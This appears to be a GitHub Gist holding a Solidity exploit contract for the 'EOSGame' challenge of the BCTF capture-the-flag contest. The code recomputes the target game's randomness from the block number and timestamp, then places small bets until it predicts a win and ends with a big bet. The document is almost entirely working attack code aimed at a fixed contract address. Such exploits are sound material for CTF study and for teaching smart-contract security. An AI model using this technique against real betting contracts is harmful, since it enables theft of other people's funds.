Created
November 29, 2018 07:07
-
-
Save minhtt159/ca49522d73623f16feecd6be5bb544d4 to your computer and use it in GitHub Desktop.
BCTF - EOSGame
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Attack{ | |
address target = 0x804d8B0f43C57b5Ba940c1d1132d03f1da83631F; | |
address owner = 0x622afc0cbaa152e6615be060f93bc88440a8442d; | |
uint256 MOD_NUM = 20; | |
EOSGame game; | |
constructor() public{ | |
game = EOSGame(target); | |
} | |
function check() public view returns (uint256){ | |
uint count = 1; | |
for (count; count < 400; count += 1){ | |
uint256 seed = uint256(keccak256(abi.encodePacked(block.number)))+uint256(keccak256(abi.encodePacked(block.timestamp))); | |
uint256 seed_hash = uint256(keccak256(abi.encodePacked(seed))); | |
uint256 shark = seed_hash % MOD_NUM; | |
uint256 lucky_hash = uint256(keccak256(abi.encodePacked(game.bet_count(owner)+count))); | |
uint256 lucky = lucky_hash % MOD_NUM; | |
if (shark == lucky){ | |
break; | |
} | |
} | |
return count; | |
} | |
function go() public{ | |
uint256 count = check(); | |
while(count > 1){ | |
game.smallBlind(); | |
count -= 1; | |
} | |
game.bigBlind(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment